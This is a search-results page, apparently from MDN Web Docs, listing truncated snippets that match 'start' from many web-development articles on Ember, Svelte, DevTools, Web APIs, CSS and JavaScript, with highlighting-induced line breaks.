started earlier will automatically rebuild the app and refresh the browser. the rendered output should now look like this: it doesn't take too much effort to get our html looking like a fully-featured to-do list app. update the application.hbs file again so its content looks like this: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" ...
... that our app continues to work over time as we upgrade, add features, refactor, etc. testing is outside the scope of this tutorial, although generally testing should be implemented as you develop, rather than after, otherwise it tends to be forgotten about. if you're curious about testing, or why you would want to have automated tests, check out the official ember tutorial on testing. before we
start adding any component code, let’s create the scaffolding for the other components. enter the following lines into your terminal, one by one: ember generate component todo-list ember generate component todo ember generate component footer you’ll now see the following inside your todomvc/app/components directory: now that we have all of our component structure files, we can cut and paste th...
...And 6 more matches
Componentizing our Svelte app - Learn web development
the central objective of this article is to look at how to break our app into manageable components and share information between them. we'll componentize our app, then add more functionality to allow users to update existing components. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. ...
...a component is a reusable, self-contained block of code that encapsulates html, css and javascript that belong together, written into a .sve...
...) with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/04-componentizing-our-app or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/04-componentizing-our-app remember to run npm install && npm run dev to
start your app in development mode. repl to code along with us using the repl,
start at https://svelte.dev/repl/99b9eb228b404a2f8c8959b22c0a40d3?version=3.23.2 breaking the app into components in svelte, an application is composed from one or more components. a component is a reusable, self-contained block of code that encapsulates html, css and javascript that belong together, written into a .svelte file. components can be big or small, but they are usually clearly defined: t...
...And 6 more matches
Deployment and next steps - Learn web development
ther resources, and more. ...
...8-next-steps remember to run npm install && npm run dev to
start your app in development mode. compiling our app so far we've been running our app in development mode with npm run dev. as we saw earlier, this instruction tells svelte to compile our components and javascript files into a public/build/bundle.js file and all the css sections of our components into public/build/bundle.css. it also
starts a development server and watches for changes, recompiling the app and refreshing the page when a change occurs. your generated bundle.js and bundle.css files will be something like this (file size on the left): 504 jul 13 02:43 bundle.css 95981 jul 13 02:43 bundle.js to compile our application for production we have to run npm run build instead. in this case, svelte won't lunch a web server...
...iled the code to vanilla javascript. a look behind the svelte compilation process by default, when you create a new app with npx degit sveltejs/template my-svelte-project, svelte will use rollup as the module bundler. note: there is also an official template for using webpack and also many community-maintained plugins for other bundlers. in the file package.json you can see that the dev and
start scripts are just calling rollup: "scripts": { "build": "rollup -c", "dev": "rollup -c -w", "
start": "sirv public" }, in the dev script we are passing the -w argument, which tells rollup to watch files and rebuild on changes. if we have a look at the rollup.config.js file, we can see that the svelte compiler is just a rollup plugin: import svelte from 'rollup-plugin-svelte'; [...] import...
...And 6 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
in this article we'll be using variables and props to make our app dynamic, allowing us to add and delete todos, mark them as complete, and filter them by status. prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. you'll need a terminal with node + npm installed to compile and build your app. ...
...we'll take the tasks information from the markup and store it in a todos array. we'll also create two variab...
...with: git clone https://github.com/opensas/mdn-svelte-tutorial.git then to get to the current app state, run cd mdn-svelte-tutorial/03-adding-dynamic-behavior or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/03-adding-dynamic-behavior remember to run npm install && npm run dev to
start your app in development mode. repl to code along with us using the repl,
start at https://svelte.dev/repl/c862d964d48d473ca63ab91709a0a5a0?version=3.23.2 working with todos our todos.svelte component is currently just displaying static markup; let's
start making it a bit more dynamic. we'll take the tasks information from the markup and store it in a todos array. we'll also create two variables to keep track of the total number of tasks and the completed tasks. the stat...
...And 6 more matches
Handling common accessibility problems - Learn web development
e first subsection of my document. i'd love people to be able to find this content!</p> <h2>my 2nd subheading</h2> <p>this is the second subsection of my content. i think it is more interesting than the last one.</p> in addition, your content should make logical sense in its source order — you can always place it where you want using css later on, but you should get the source order right to
start with. as a test, you can turn off a site's css and see how understandable it is without it. you could do this manually by just removing the css from your code, but the easiest way is to use browser features, for example: firefox: select view > page style > no style from the main menu. safari: select develop > disable styles from the main menu (to enable the develop menu, choose safari > pref...
...nually by just removing the css from your code, but the easiest way is to use browser features, for example: firefox: select view > page style > no style from the main menu. safari: select develop > disable styles from the main menu (to enable the develop menu, choose safari > preferences > advanced > show develop menu in menu bar). chrome: install the web developer toolbar extension, then re
start the browser. click the gear icon that will appear, then select css > disable all styles. edge: select view > style > no style from the main menu. using native keyboard accessibility certain html features can be selected using only the keyboard — this is default behavior, available since the early days of the web. the elements that have this capability are the common ones that allow user to ...
...e since the early days of the web. the elements that have this capability are the common ones that allow user to interact with web pages, namely links, <button>s, and form elements like <input>. ...
...And 6 more matches
Localizing with Koala
two string that need to be translated: add "mdc search" manage search engines... there is also a tooltip that appears when you hover over the magnifying glass icon on the right side of the bar. requirements mercurial, linux, windows or mac os x. instructions preparation install komodo edit. install koala extension. go to tools > add-ons. search for "koala". click add to komodo edit... re
start komodo when the installation is complete. you should see a new button in komodo's toolbar, with two options:
startpage and management. before you can use them, you need to create a new koala project. creating a new project create a new koala project by going to file > new > new project from template... choose "koala" in the categories list. choose "koala" in the templates list. choose a na...
...epository set up (either on hg.mozilla.org or bitbucket), type the url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing or http://hg.mozilla.org/releases/l10n-....9.2/x-testing. new localizations: url: if you already have a repository set up by l10n-drivers (on bitbucket), type the url of the remote repository, e.g. http://bitbucket.org/mozillal10n/x-testing. if you're
starting a new localization, you may not have a remote repository set up yet. it is still recommended to use mercurial locally to version your local files. just type a single dot (".") in the url field to enable mercurial support in koala. branch: default. revision: leave empty. user: type your name and your e-mail address in the form: "firstname lastname <me@example.com>" (be sure to type the wrappi...
...e http://bitbucket.org/mozillal10n/x-testing 3.6 otherwise, it's a good idea to create your local repository in order to be able to track changes you make to the localization files. to do this, open the console and type: c:\users\stas> cd c:\mozilla\l10n\locale\x-testing\3.6 c:\mozilla\l10n\locale\x-testing\3.6> hg init you should now see the the koala's starpage in komodo. you are ready to
start localizing firefox! comparing and translating now that we have set up koala to localize firefox from en-us into x-testing, we can
start translating the localization files. koala features a very handy tool called compare-locales, which compares the files from en-us with your files in x-testing and gives you statistics about new, changed, missing and obsolete files and strings. let's see how that ...
...And 6 more matches
Observer Notifications
observer topics the following are topics that you can observe during the course of an application. unless otherwise noted you register for the topics using the nsiobserverservice. application
startup these are the topics that you can observe on
startup, in order of appearance. ...
...less otherwise noted you register for the topics using the nsiobserverservice. application
startup these are the topics that you can observe on
startup, in order of appearance. if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-
startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification. see receiving
startup notifications for more information about how this works.
starting in firefox 3.5 components can simply register for the profile-after-change notification in nsicategorymanager. topic descript...
...see xpcom changes in gecko 2.0 for details. called when xpcom is initialized. many things are not available for use at this point. to receive this notification you have to register with nsicategorymanager. ...
...And 6 more matches
imgIDecoderObserver
re the call returns. if flag_sync_decode is not passed, all, some, or none of the notifications may fire before the call returns. ...
...fications may fire before the call returns. ...
...rview void ondataavailable(in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect); native code only! ...
...And 6 more matches
nsIHttpChannel
a message body that (in some cases) should be shown to the user. use this attribute to distinguish server error pages from normal pages, instead of comparing the response status manually against the set of valid response codes, if that is required by your application. read only. exceptions thrown ns_error_not_available if called before the response has been received (before on
startrequest()). responsestatus unsigned long get the http response code (for example 200). read only. exceptions thrown ns_error_not_available if called before the response has been received (before on
startrequest()). responsestatustext acstring get the http response status text (for example "ok"). note: this returns th...
...sponsestatustext acstring get the http response status text (for example "ok"). note: this returns the raw (possibly 8-bit) text from the server. there are no assumptions made about the charset of the returned text. you have been warned! read only. exceptions thrown ns_error_not_available if called before the response has been received (before on
startrequest()). referrerpolicy read only unsigned long the referrer policy in use for this channel, indicated by one of the constants listed above methods getoriginalresponseheader() get the value of a particular original response header, that is, in the same form as it came from the network. i.e. empty headers will have an empty string as value and multiple headers ...
...riginalresponseheader( in acstring aheader, in nsihttpheadervisitor avisitor ); parameters aheader the case-insensitive name of the response header to query (for example "set-cookie"). avisitor an nsihttpheadervisitor instance allowing to visit all equally named response headers. exceptions thrown ns_error_not_available if called before the response has been received (before on
startrequest()) or if no header with that name is set in the response. getrequestheader() get the value of a particular request header. acstring getrequestheader( in acstring aheader ); parameters aheader the case-insensitive name of the request header to query (for example "cache-control"). return value the value of the request header. exceptions thrown ns_error_not_available if th...
...And 6 more matches
Using Objective-C from js-ctypes
its own syntax, it cannot be written directly with js-ctypes. this guide explains how to convert objective-c code into js-ctypes code. a simple example is also in standard os libraries page. converting objective-c code to c code to convert objective-c code to js-ctypes, we need to convert it to c code first. we can then convert it straight to js-ctypes code. speech synthesis example let's
start with the following objective-c code, which invokes the speech synthesis api to say "hello, firefox!". it uses the default system voice and waits until the speaking is done. #import <appkit/appkit.h> int main(void) { nsspeechsynthesizer* synth = [[nsspeechsynthesizer alloc] initwithvoice: nil]; [synth
startspeakingstring: @"hello, firefox!"]; // wait until
start speaking. while (![synth...
... // [synth isspeaking] while (!objc_msgsend(synth, isspeaking)) {} // wait while speaking. // [synth isspeaking] while (objc_msgsend(synth, isspeakin...
... // [synth isspeaking] while (!objc_msgsend(synth, isspeaking)) {} // wait while speaking. // [synth isspeaking] while (objc_msgsend(synth, isspeaking)) {} sel release = sel_registername("releas...
...And 6 more matches
Network request list - Firefox Developer Tools
e specific column from the context menu. a reset columns command is available on the context menu to reset the columns to their initial configuration. you can also change the width of the columns to help make the information you are looking for easier to view. the mouse pointer changes to a resize icon when you move it over the border of a column. you can drag to manually set the size of column.
starting in firefox 76 you can double-click a column divider to resize the column to the left of it to fit its contents. the reset columns command on the context menu also resets the width of the columns to the default values. clicking the column header label sorts the request list by that column. you can reset the sort to the default by selecting "reset sorting" from the context menu. here is a...
... requested. if the request used ssl/tls and the connection had security weaknesses such as weak ciphers, you'll see a warning triangle next to the domain. y hover over the domain to see the ip address. there's an icon next to the domain that gives you extra information about the security status of that request. see security icons. file: the basename of the file requested. (
starting in firefox 80) on the right edge of the file column, a turtle icon appears if the server waiting time exceeds a threshhold (default: 500 ms). a tooltip explains the problem. you can configure the threshhold in the configuration editor (about:config) by modifying the devtools.netmonitor.audits.slow setting. url: the url of the file requested. protocol: the network protocol used to t...
...re actually transferred to load the resource, or a message about why the resource was not transferred. a number value is less than size if the resource was compressed. if the resource was fetched from a service worker cache, then this cell displays "service worker". cached resources may be fetched from the cache and the network simultaneously, which may improve load time for slow caches.
starting with firefox 68, the transferred column lists either "cached (raced)" or "[size] (raced)" depending on the faster source. this feature is called race cache with network (rcwn). if the resource was blocked, the message indicates why it was blocked. for example, "csp", "malware", "cors missing allow origin", "blocked by [name of extension]". size: the size of the transferred resource. ...
...And 6 more matches
about:debugging (before Firefox 68) - Firefox Developer Tools
opening the about:debugging page there are several different ways to open about:debugging: type "about:debugging" in the firefox url bar. in the tools > web developer menu, click "service workers". select the web developer menu under the hamburger menu (), then select "service workers". ...
...ng you to switch between the two main views: one for add-ons and one for workers. whether or not system add-ons appear in the list on this page depends on the setting of the devtools.aboutdebugging.showsystemaddons preference. if you need to see system add-ons, navigate to about:config and make sure that this value is set to true. ...
...ference. if you need to see system add-ons, navigate to about:config and make sure that this value is set to true. add-ons the add-ons section in about:debugging only supports re
startless add-ons, including basic bootstrapped extensions, add-on sdk add-ons, and webextensions. this page enables you to do two things: load an add-on temporarily from disk connect the add-on debugger to any re
startless add-ons connecting the add-on debugger the add-ons page in about:debugging lists all re
startless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your firefox). next to each entry is a button labeled "debug". if the "debug" button is disabled, check the "enable add-on debugging" box. if you click "debug", you'll see a dialog aski...
...And 6 more matches
AudioParam.setTargetAtTime() - Web APIs
timeconstant the time-constant value, given in seconds, of an exponential approach to the target value. ...
... timeconstant the time-constant value, given in seconds, of an exponential approach to the target value. ...
... timeconstant the time-constant value, given in seconds, of an exponential approach to the target value. ...
...And 6 more matches
Drag Operations - Web APIs
s. however, this behavior is only the default drag behavior, if no listeners adjust the data to be dragged. in html, apart from the default behavior for images, links, and selections, no other elements are draggable by default. to make other html elements draggable, three things must be done: set the draggable="true" on the element that you wish to make draggable. add a listener for the drag
start event. set the drag data in the above listener. here is an example which allows a section of content to be dragged. <p draggable="true" ondrag
start="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged. </p> the draggable attribute is set to "true", so this element becomes draggable. if this attribute were omitted or set to "fals...
... two, the default value is true, so you would only use the draggable attribute with a value of false to disable dragging of these elements. note: when an element is made draggable, text or other elements within it can no longer be selected in the normal way by clicking and dragging with the mouse. instead, the user must hold down the alt key to select text with the mouse, or use the keyboard. ...
...te with a value of false to disable dragging of these elements. note: when an element is made draggable, text or other elements within it can no longer be selected in the normal way by clicking and dragging with the mouse. instead, the user must hold down the alt key to select text with the mouse, or use the keyboard.
starting a drag operation in this example, a listener is added for the drag
start event by using the ondrag
start attribute. <p draggable="true" ondrag
start="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged. </p> when a user begins to drag, the drag
start event is fired. in this example the drag
start listener is added to the draggable element itself. however, you could listen to a higher ancestor as drag event...
...And 6 more matches
Key Values - Web APIs
arrow key. vk_up (0x26) kvk_uparrow (0x7e) gdk_key_up (0xff52) gdk_key_kp_up (0xff97) qt::key_up (0x01000013) keycode_dpad_up (19) "end" the end key. moves to the end of content. vk_end (0x23) kvk_end (0x77) gdk_key_end (0xff57) gdk_key_kp_end (0xff9c) qt::key_end (0x01000011) keycode_move_end (123) "home" the home key. moves to the
start of content. vk_home (0x24) kvk_home (0x73) gdk_key_home (0xff50) gdk_key_kp_home (0xff95) qt::key_home (0x01000010) keycode_move_home (122) "pagedown" the page down (or pgdn) key. scrolls down or displays the next page of content. vk_next (0x22) kvk_pagedown (0x79) gdk_key_page_down (0xff56) gdk_key_kp_page_down (0xff9b) qt::key_pagedown (0x0100001...
...ypically found between the windows (or os) key and the control key on the right side of the keyboard. vk_apps (0x5d) kvk_pc_contextmenu (0x6e) gdk_key_menu (0xff67) qt::key_menu (0x01000055) keycode_menu (82) "escape" [2] the esc (escape) key. typically used as an exit, cancel, or "escape this operation" button. historically, the escape character was used to signal the
start of a special control sequence of characters called an "escape sequence." vk_escape (0x1b) kvk_escape (0x35) gdk_key_escape (0xff1b) qt::key_escape (0x01000000) keycode_escape (111) "execute" the execute key. vk_execute (0x2b) qt::key_execute (0x01020003) "find" the find key. opens an interface (typically a dialog box) for performing a find/sea...
...chinese, japanese, korean, and hindi. some keys are common across multiple languages, while others exist only on keyboards targeting specific languages. in addition, not all keyboards have all of these keys. common ime keys keyboardevent.key value description virtual keycode windows mac linux android "allcandidates" the all candidates key, which
starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input. gdk_key_multiplecandidate (0xff3d qt::key_multiplecandidate (0x0100113d) "alphanumeric" the alphanumeric key. vk_oem_attn (0xf0) gdk_key_eisu_shift (0xff2f) gdk_key_eisu_toggle (0xff30) qt::key_eisu_shift (0x0100112f) qt::key_eisu_toggle (0x01001130) ...
...And 6 more matches
Using the Resource Timing API - Web APIs
ze detailed network timing data regarding the loading of an application's resource(s). an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.). the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect
start and end times, fetch
start, dns lookup
start and end times, response
start and end times, etc. the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch. this document shows the use of resource timing interfaces. for more details about the interfaces, including examples, see each interface's refe...
...ated in figure 1. figure 1. resource timing properties an application developer can use the property values to calculate the length of time a phase takes and that information can help diagnose performance issues. timing resource loading phases the following example illustrates using the resource timing properties to calculate the amount of time the following phases take: redirection (redirect
start and redirectend ), dns lookup (domainlookup
start and domainlookupend), tcp handshake (connect
start and connectend), and response (response
start and responseend). this example also calculates the time from the
start of the fetch and request
start phases (fetch
start and request
start, respectively), until the response has ended (responseend). this timing data provides a detailed profile of the resou...
...(resourc...
...And 6 more matches
Using Service Workers - Web APIs
the premise of service workers one overriding problem that web users have suffered with for years is loss of connectivity. the best web app in the world will provide a terrible user experience if you can’t download it. there have been various attempts to create technologies to solve this problem, and some of the issues have been solved. ...
...f the main reasons native apps are often chosen over web apps. setting up to play with service workers many service workers features are now enabled by default in newer versions of supporting browsers. if however you find that demo code is not working in your installed versions, you might need to enable a pref: firefox nightly: go to about:config and set dom.serviceworkers.enabled to true; re
start browser. chrome canary: go to chrome://flags and turn on experimental-web-platform-features; re
start browser (note that some features are now enabled by default in chrome.) opera: go to opera://flags and enable support for serviceworker; re
start browser. microsoft edge: go to about:flags and tick enable service workers; re
start browser. you’ll also need to serve your code via https — ser...
...ecuted in a serviceworkerglobalscope; this is basically a special kind of worker context, running off the main script execution thread, with no dom access. the service worker is now ready to process events. installation of the worker is attempted when service worker-controlled pages are accessed subsequently. an install event is always the first one sent to a service worker (this can be used to
start the process of populating an indexeddb, and caching site assets). this is really the same kind of procedure as installing a native or firefox os app — making everything available for use offline. when the oninstall handler completes, the service worker is considered installed. next is activation. when the service worker is installed, it then receives an activate event. the primary use of onac...
...And 6 more matches
Using readable streams - Web APIs
example goes on to enqueue each chunk in a new, custom readablestream (we will find more about this in the next section), then create a new response out of it, consume it as a blob, create an object url out of that blob using url.createobjecturl(), and then display it on screen in an <img> element, effectively creating a copy of the image we originally fetched. ...
...m in the next section. if done is not true, we process the new chunk we’ve read (contained in the value property of the results object) and then call the pump() function again to read the next chunk. // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); this is the standard pattern you’ll see when using stream readers: you write a function that
starts off by reading the stream. if there is no more stream to read, you return out of the function. if there is more stream to read, you process the current chunk then run the function again. you keep running the function recursively until there is no more stream to read, in which case step 2 is followed. creating your own custom readable stream the simple stream pump example we’ve been study...
...ctor it is easy to read from a stream when the browser provides it for you as in the case of fetch, but sometimes you need to create a custom stream and populate it with your own chunks. the readablestream() constructor allows you to do this via a syntax that looks complex at first, but actually isn’t too bad. the generic syntax skeleton looks like this: const stream = new readablestream({
start(controller) { }, pull(controller) { }, cancel() { }, type, autoallocatechunksize }, { highwatermark, size() }); the constructor takes two objects as parameters. the first object is required, and creates a model in javascript of the underlying source the data is being read from. the second object is optional, and allows you to specify a custom queuing strategy to use for your...
...And 6 more matches
Architecture - Accessibility
rived implementation that's appropriate. if it has text siblings, then it gets exposed as the unicode char for an embedded object, which is '\xfffc' within the parent nshypertextaccessible. in addition, nsiaccessiblehyperlink is implemented on any non-text child inside a container that also has text. this allows at's to find its position within that text, because the hyperlink interface exposes a
start and end index. in fact, the end index will always be 1 larger than the
start index, because the object is always represented by a single '\xfffc' character. if you want to know that something is really a link, check to see if it is role_link. html containers are implemented by nshypertextaccessible. they support the nsiaccessiblehypertext is implemented on any container element that has both te...
...o get the offset in the parent text for a given embedded object: qi/qa to iahyperlink if not successful, then it is not embedded in text, so it's position in parent should be determined just by ia2::indexinparent, which will return its child offset within the parent. examples of objects not embedded in text are the child options in list boxes and combo boxes. ...
...ccessful, then it is not embedded in text, so it's position in parent should be determined just by ia2::indexinparent, which will return its child offset within the parent. examples of objects not embedded in text are the child options in list boxes and combo boxes. otherwise, use iahyperlink::get
startindex() to find the index in parent. ...
...And 6 more matches
CSS Box Alignment - CSS: Cascading Style Sheets
roperties outside of their implementation within a particular layout method. there are also some key concepts which are common to all layout methods. relationship to writing modes alignment is linked to writing modes in that when we align an item we do not consider whether we are aligning it to the physical dimensions of top, right, bottom and left. instead we describe alignment in terms of the
start and end of the particular dimension we are working with. this ensures that alignment works in the same way whichever writing mode the document has. two dimensions of alignment when using the box alignment properties you will align content on one of two axes — the inline (or main) axis, and the block (or cross) axis. the inline axis is the axis along which words in a sentence flow in the writi...
...cts within an alignment context. distributed alignment: these keywords define alignment as a distribution of space among alignment subjects. positional alignment keyword values the following values are defined for positional alignment, and can be used as values for content alignment with justify-content and align-content and also for self alignment with justify-self and align-self. ...
...gnment context. distributed alignment: these keywords define alignment as a distribution of space among alignment subjects. positional alignment keyword values the following values are defined for positional alignment, and can be used as values for content alignment with justify-content and align-content and also for self alignment with justify-self and align-self. ...
...And 6 more matches
animation-timing-function - CSS: Cascading Style Sheets
dn/interactive-examples and send us a pull request. it is often convenient to use the shorthand property animation to set all animation properties at once. ...
...ion: ease-in; animation-timing-function: ease-out; animation-timing-function: ease-in-out; animation-timing-function: linear; animation-timing-function: step-
start; animation-timing-function: step-end; /* function values */ animation-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1); animation-timing-function: steps(4, end); /* steps function keywords */ animation-timing-function: steps(4, jump-
start); animation-timing-function: steps(10, jump-end); animation-timing-function: steps(20, jump-none); animation-timing-function: steps(5, jump-both); animation-timing-function: steps(6,
start); animation-timing-function: steps(8, end); /* multiple animations */ animation-timing-function: ease, step-
start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ animation-timing-function: inherit; ani...
...fied number of intervals that are equal in length. it is defined by a number of steps and a step position. ease equal to cubic-bezier(0.25, 0.1, 0.25, 1.0), the default value, increases in velocity towards the middle of the animation, slowing back down at the end. linear equal to cubic-bezier(0.0, 0.0, 1.0, 1.0), animates at an even speed. ease-in equal to cubic-bezier(0.42, 0, 1.0, 1.0),
starts off slowly, with the speed of the transition of the animating properting increasing until complete. ease-out equal to cubic-bezier(0, 0, 0.58, 1.0),
starts quickly, slowing down the animation continues. • ease-in-out equal to cubic-bezier(0.42, 0, 0.58, 1.0), with the animating properties slowly transitioning, speeding up, and then slowing down again. cubic-bezier(p1, p2, p3, p4) an auth...
...And 6 more matches
linear-gradient() - CSS: Cascading Style Sheets
or more colors along a straight line. its result is an object of the <gradient> data type, which is a special kind of <image>. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 6 more matches
async function - JavaScript
promise((resolve) => settimeout(() => resolve('1'), 1000)) const p2 = new promise((_,reject) => settimeout(() => reject('2'), 500)) const results = [await p1, await p2] // do not do this! use promise.all or promise.allsettled instead. } foo().catch(() => {}) // attempt to swallow all errors... ...
...se.allsettled instead. } foo().catch(() => {}) // attempt to swallow all errors... examples async functions and execution order function resolveafter2seconds() { console.log("
starting slow promise") return new promise(resolve => { settimeout(function() { resolve("slow") console.log("slow promise is done") }, 2000) }) } function resolveafter1second() { console.log("
starting fast promise") return new promise(resolve => { settimeout(function() { resolve("fast") console.log("fast promise is done") }, 1000) }) } async function sequential
start() { console.log('==sequential
start==') // 1. execution gets here almost instantly const slow = await resolveafter2seconds() console.log(slow) // 2. this runs 2 seconds after 1. const fast = ...
...execution gets here almost instantly console.log(await slow) // 2. this runs 2 seconds after 1. ...
...And 6 more matches
jpm - Archive of obsolete content
jpm usage is: jpm [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number --addon-dir - directory for your source code, defaulting to the current directory installation jpm is distributed with the node package manager npm. installing npm there are two ways to get npm. download and install node.js from nodejs.org. ...
....bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands. note that unlike cfx, jpm is available in every command prompt you
start, as long as you installed it with the --global flag. install a different version of firefox as of firefox 48, it is not possible to use unsigned add-ons (i.e. any add-on which you are in the process of developing) in the branded release or beta versions of firefox. thus, you will need to download and install a different version of firefox. assuming you don't want an old version of firefox, your...
...sdk users and project team members discuss problems and proposals on the project mailing list. someone else may have had the same problem you do, so try searching the list. you are welcome to post a question, too. you can also chat with other sdk users in #jetpack on mozilla's irc network. command reference jpm supports the following commands: jpm init create a skeleton add-on as a
starting point for your add-on. jpm run launch an instance of firefox with your add-on installed. jpm test runs your add-on's unit tests. jpm xpi package your add-on as an xpi file, which is the install file format for firefox add-ons. jpm post package your add-on as an xpi file, and then post it to some url. jpm watchpost package your add-on ...
...And 5 more matches
Adding preferences to an extension - Archive of obsolete content
ion, another period, then a preference name, as seen in the example above. the javascript code in order to monitor changes to our preferences, we need to install an observer using the nsiprefbranch2 interface. to do that, we need to reimplement our code into an object. that involves turning each function into a member of the stockwatcher class. let's take a look at each function in the class. ...
...preference name, as seen in the example above. the javascript code in order to monitor changes to our preferences, we need to install an observer using the nsiprefbranch2 interface. to do that, we need to reimplement our code into an object. that involves turning each function into a member of the stockwatcher class. let's take a look at each function in the class. ...
...o monitor changes to our preferences, we need to install an observer using the nsiprefbranch2 interface. to do that, we need to reimplement our code into an object. that involves turning each function into a member of the stockwatcher class. let's take a look at each function in the class.
startup() the stockwatcher.
startup() function is called when our extension is first loaded. ...
...And 5 more matches
Index of archived content - Archive of obsolete content
cross-domain content scripts interacting with page scripts loading content scripts reddit example port self contributor's guide classes and inheritance content processes getting
started modules private properties firefox compatibility module structure of the sdk porting the library detector program id sdk api lifecycle sdk and xul comparison testing the add-on sdk two types of scripts workin...
... creating annotations displaying annotations implementing the widget overview storing annotations chrome authority creating event targets creating reusable modules developing for firefox mobile display a popup getting
started (jpm) getting
started (cfx) list open tabs listen for page load listening for load and unload localization logging modifying web pages based on url modifying the page hosted by a tab open a web page troubleshooting unit testing u...
... extension etiquette extension library extension packaging extension samples extension theming guidelines extension versioning, update and compatibility extensions support in seamonkey 2 firefox addons developer guide hiding browser chrome hotfix extension how to convert an overlay extension to re
startless inline options install manifests installing extensions and themes from web pages interaction between privileged and non-privileged pages jetpack processes legacy add-ons legacy extensions for firefox for android api accounts.jsm ...
...And 5 more matches
JXON - Archive of obsolete content
s of object) and viceversa, with some different algorithms. it could be useful to read the xml introduction article first. if you want a complete bidirectional jxon library (modelled on the json global object), skip to the dedicated paragraph (but please read the note about the const statement compatibility). note: if you are interested to address only some parts of an xml document (and are not
starting in javascript/json for templating purposes), use xpath instead of converting the whole document into json. conversion snippets now imagine you have this sample xml document: example.xml <?xml version="1.0"?> <!doctype catalog system "catalog.dtd"> <catalog> <product description="cardigan sweater"> <catalog_item gender="men's"> <item_number>qwz5671</item_number> <price>39.95<...
...fy (vvalue) { if (vvalue === null) { return new (function() { this.tostring = function() { return "null"; } this.valueof = function() { return null; } })(); } return vvalue instanceof object ? vvalue : new vvalue.constructor(vvalue); } var atmpels = []; // loaded element nodes cache function getjxontree (oxmlparent) { var sprop, vcontent, vresult, nlength = 0, nlevel
start = atmpels.length, nchildren = oxmlparent.haschildnodes() ? oxmlparent.childnodes.length : 0, scollectedtxt = ""; for (var onode, nitem = 0; nitem < nchildren; nitem++) { onode = oxmlparent.childnodes.item(nitem); if (onode.nodetype === 4) { scollectedtxt += onode.nodevalue; } /* nodetype is "cdatasection" (4) */ else if (onode.nodetype === 3) { scollectedtxt += onode.nodevalu...
...atmpels.length, vbuiltval = parsetext(scollectedtxt); if (oparentnode.hasattributes && oxmlparent.hasattributes()) { vresult = objectify(vbuiltval); for (nlength; nlength < oxmlparent.attributes.length; nlength++) { oattrib = oxmlparent.attributes.item(nlength); vresult["@" + oattrib.name.tolowercase()] = parsetext(oattrib.value.trim()); } } else if (nlevelend > nlevel
start) { vresult = objectify(vbuiltval); } for (var nelid = nlevel
start; nelid < nlevelend; nelid++) { sprop = atmpels[nelid].nodename.tolowercase(); vcontent = getjxontree(atmpels[nelid]); if (vresult.hasownproperty(sprop)) { if (vresult[sprop].constructor !== array) { vresult[sprop] = [vresult[sprop]]; } vresult[sprop].push(vcontent); } else { vresult[sprop] = vcontent; n...
...And 5 more matches
jspage - Archive of obsolete content
})(); },this);return this;},cloneevents:function(d,a){d=document.id(d);var c=d.retrieve("events");if(!c){return this;}if(!a){for(var b in c){this.cloneevents(d,b); }}else{if(c[a]){c[a].keys.each(function(e){this.addevent(a,e);},this);}}return this;}});element.nativeevents={click:2,dblclick:2,mouseup:2,mousedown:2,contextmenu:2,mousewheel:2,dommousescroll:2,mouseover:2,mouseout:2,mousemove:2,select
start:2,selectend:2,keydown:2,keypress:2,keyup:2,focus:2,blur:2,change:2,reset:2,select:2,submit:2,load:1,unload:1,beforeunload:2,resize:1,move:1,domcontentloaded:1,readystatechange:1,error:1,abort:1,scroll:1}; (function(){var a=function(b){var c=b.relatedtarget;if(c==undefined){return true;}if(c===false){return false;}return($type(this)!="document"&&c!=this&&c.prefix!="xul"&&!this.haschild(c)); };elem...
...uration); this.set(this.compute(this.from,this.to,b));}else{this.set(this.compute(this.from,this.to,1));this.complete();}},set:function(a){return a;},compute:function(c,b,a){return fx.compute(c,b,a); },check:function(){if(!this.timer){return true;}switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.bind(this,arguments)); return false;}return false;},
start:function(b,a){if(!this.check(b,a)){return this;}this.from=b;this.to=a;this.time=0;this.transition=this.gettransition(); this.
starttimer();this.on
start();return this;},complete:function(){if(this.stoptimer()){this.oncomplete();}return this;},cancel:function(){if(this.stoptimer()){this.oncancel(); }return this;},on
start:function(){this.fireevent("
start",this.subject);},oncomplete:function(){this.fi...
...:function(){if(this.stoptimer()){this.oncancel(); }return this;},on
start:function(){this.fireevent("
start",this.subject);},oncomplete:function(){this.fireevent("complete",this.subject);if(!this.callchain()){this.fireevent("chaincomplete",this.subject); }},oncancel:function(){this.fireevent("cancel",this.subject).clearchain();},pause:function(){this.stoptimer();return this;},resume:function(){this.
